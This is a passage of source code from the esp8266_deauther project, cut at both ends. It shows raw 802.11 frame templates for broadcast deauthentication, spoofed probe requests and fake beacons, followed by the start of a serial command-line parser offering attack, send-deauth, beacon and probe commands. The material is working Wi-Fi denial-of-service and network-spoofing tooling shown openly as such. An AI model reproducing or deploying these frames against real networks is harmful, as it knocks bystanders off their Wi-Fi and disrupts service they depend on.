many packets should be sent per second uint8_t tc = 0; // target counter, i.e. which AP or SSID uint32_t time = 0; // time last packet was sent }; AttackType deauth; AttackType beacon; AttackType probe; bool deauthAll = false; uint32_t deauthPkts = 0; uint32_t beaconPkts = 0; uint32_t probePkts = 0; uint32_t tmpPacketRate = 0; uint32_t packetRate = 0; uint8_t apCount = 0; uint8_t stCount = 0; uint8_t nCount = 0; int8_t tmpID = -1; uint16_t packetSize = 0; uint32_t attackTime = 0; // for counting how many packets per second uint32_t attackStartTime = 0; uint32_t timeout = 0; // random mac address for making the beacon packets uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; uint8_t deauthPacket[26] = { /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) /* 22 - 23 */ 0x00, 0x00, // fragment & squence number /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) }; uint8_t probePacket[68] = { /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 /* 60 */ 0x82, // 1(B) /* 61 */ 0x84, // 2(B) /* 62 */ 0x8b, // 5.5(B) /* 63 */ 0x96, // 11(B) /* 64 */ 0x24, // 18 /* 65 */ 0x30, // 24 /* 66 */ 0x48, // 36 /* 67 */ 0x6c // 54 }; uint8_t beaconPacket[109] = { /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source // Fixed parameters /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp /* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation // Tagged parameters // SSID parameters /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, // SSID // Supported Rates /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 /* 72 */ 0x82, // 1(B) /* 73 */ 0x84, // 2(B) /* 74 */ 0x8b, // 5.5(B) /* 75 */ 0x96, // 11(B) /* 76 */ 0x24, // 18 /* 77 */ 0x30, // 24 /* 78 */ 0x48, // 36 /* 79 */ 0x6c, // 54 // Current Channel /* 80 - 81 */ 0x03, 0x01, // Channel set, length /* 82 */ 0x01, // Current Channel // RSN information /* 83 - 84 */ 0x30, 0x18, /* 85 - 86 */ 0x01, 0x00, /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, /* 91 - 92 */ 0x02, 0x00, /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ /* 101 - 102 */ 0x01, 0x00, /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, /* 107 - 108 */ 0x00, 0x00 }; }; ================================================ FILE: esp8266_deauther/CLI.cpp ================================================ /* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ #include "CLI.h" #include #include "settings.h" #include "wifi.h" /* Shitty code used less resources so I will keep this clusterfuck as it is, but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI */ CLI::CLI() { list = new SimpleList; queue = new SimpleList; } CLI::~CLI() {} void CLI::load() { String defaultValue = str(CLI_DEFAULT_AUTOSTART); checkFile(execPath, defaultValue); execFile(execPath); } void CLI::load(String filepath) { execPath = filepath; load(); } void CLI::enable() { enabled = true; prntln(CLI_SERIAL_ENABLED); } void CLI::disable() { enabled = true; prntln(CLI_SERIAL_DISABLED); } void CLI::update() { // when serial available, read input if (Serial.available() > 0) { String input = Serial.readStringUntil('\n'); exec(input); } // when queue is not empty, delay is off and no scan is active, run it else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { String s = queue->shift(); exec(s); } } void CLI::stop() { queue->clear(); prntln(CLI_STOPPED_SCRIPT); } void CLI::enableDelay(uint32_t delayTime) { delayed = true; this->delayTime = delayTime; delayStartTime = millis(); } void CLI::exec(String input) { // quick exit when input is empty if (input.length() == 0) return; // check delay if (delayed && (millis() - delayStartTime > delayTime)) { delayed = false; prntln(CLI_RESUMED); } // when delay is on, add it to queue, else run it if (delayed) { queue->add(input); } else { runLine(input); } } void CLI::execFile(String path) { String input; if (readFile(path, input)) { String tmpLine; char tmpChar; input += '\n'; while (!queue->isEmpty()) { input += queue->shift(); input += '\n'; } for (int i = 0; i < input.length(); i++) { tmpChar = input.charAt(i); if (tmpChar == '\n') { queue->add(tmpLine); tmpLine = String(); } else { tmpLine += tmpChar; } } queue->add(tmpLine); } } void CLI::error(String message) { prnt(CLI_ERROR); prntln(message); } void CLI::parameterError(String parameter) { prnt(CLI_ERROR_PARAMETER); prnt(parameter); prntln(DOUBLEQUOTES); } bool CLI::isInt(String str) { if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; for (uint32_t i = 0; i < str.length(); i++) if (!isDigit(str.charAt(i))) return false; return true; } int CLI::toInt(String str) { if (eqls(str, STR_TRUE)) return 1; else if (eqls(str, STR_FALSE)) return 0; else return str.toInt(); } uint32_t CLI::getTime(String time) { int value = time.toInt(); if (value < 0) value = -value; if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || (time.charAt(time.length() - 1) == M)) value *= 60000; return value; } bool CLI::eqlsCMD(int i, const char* keyword) { return eqls(list->get(i).c_str(), keyword); } void CLI::runLine(String input) { String tmp; for (int i = 0; i < input.length(); i++) { // when 2 semicolons in a row without a backslash escaping the first if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && (input.charAt(i - 1) != BACKSLASH)) { runCommand(tmp); tmp = String(); i++; } else { tmp += input.charAt(i); } } tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); if (tmp.length() > 0) runCommand(tmp); } void CLI::runCommand(String input) { input.replace(String(NEWLINE), String()); input.replace(String(CARRIAGERETURN), String()); list->clear(); // parse/split input in list String tmp; bool withinQuotes = false; bool escaped = false; char c; for (uint32_t i = 0; i < input.length() && i < 512; i++) { c = input.charAt(i); // when char is an unescaped if (!escaped && (c == BACKSLASH)) { escaped = true; } // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { // when tmp string isn't empty, add it to the list if (tmp.length() > 0) { list->add(tmp); tmp = String(); // reset tmp string } } // when char is an unescaped " else if ((c == DOUBLEQUOTES) && !escaped) { // update wheter or not the following chars are within quotes or not withinQuotes = !withinQuotes; if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add // a space } // add character to tmp string else { tmp += c; escaped = false; } } // add string if something is left from the loop above if (tmp.length() > 0) list->add(tmp); // stop when input is empty/invalid if (list->size() == 0) return; // print comments if (list->get(0) == str(CLI_COMMENT)) { prntln(input); return; } if (settings::getCLISettings().serial_echo) { // print command prnt(CLI_INPUT_PREFIX); prntln(input); } if (list->size() == 0) return; // ===== HELP ===== // if (eqlsCMD(0, CLI_HELP)) { prntln(CLI_HELP_HEADER); prntln(CLI_HELP_HELP); prntln(CLI_HELP_SCAN); prntln(CLI_HELP_SHOW); prntln(CLI_HELP_SELECT); prntln(CLI_HELP_DESELECT); prntln(CLI_HELP_SSID_A); prntln(CLI_HELP_SSID_B); prntln(CLI_HELP_SSID_C); prntln(CLI_HELP_NAME_A); prntln(CLI_HELP_NAME_B); prntln(CLI_HELP_NAME_C); prntln(CLI_HELP_SET_NAME); prntln(CLI_HELP_ENABLE_RANDOM); prntln(CLI_HELP_DISABLE_RANDOM); prntln(CLI_HELP_LOAD); prntln(CLI_HELP_SAVE); prntln(CLI_HELP_REMOVE_A); prntln(CLI_HELP_REMOVE_B); prntln(CLI_HELP_ATTACK); prntln(CLI_HELP_ATTACK_STATUS); prntln(CLI_HELP_STOP); prntln(CLI_HELP_SYSINFO); prntln(CLI_HELP_CLEAR); prntln(CLI_HELP_FORMAT); prntln(CLI_HELP_PRINT); prntln(CLI_HELP_DELETE); prntln(CLI_HELP_REPLACE); prntln(CLI_HELP_COPY); prntln(CLI_HELP_RENAME); prntln(CLI_HELP_RUN); prntln(CLI_HELP_WRITE); prntln(CLI_HELP_GET); prntln(CLI_HELP_SET); prntln(CLI_HELP_RESET); prntln(CLI_HELP_CHICKEN); prntln(CLI_HELP_REBOOT); prntln(CLI_HELP_INFO); prntln(CLI_HELP_COMMENT); prntln(CLI_HELP_SEND_DEAUTH); prntln(CLI_HELP_SEND_BEACON); prntln(CLI_HELP_SEND_PROBE); prntln(CLI_HELP_LED_A); prntln(CLI_HELP_LED_B); prntln(CLI_HELP_DRAW); prntln(CLI_HELP_SCREEN_ON); prntln(CLI_HELP_SCREEN_MODE); prntln(CLI_HELP_FOOTER); } // ===== SCAN ===== // // scan [] [-t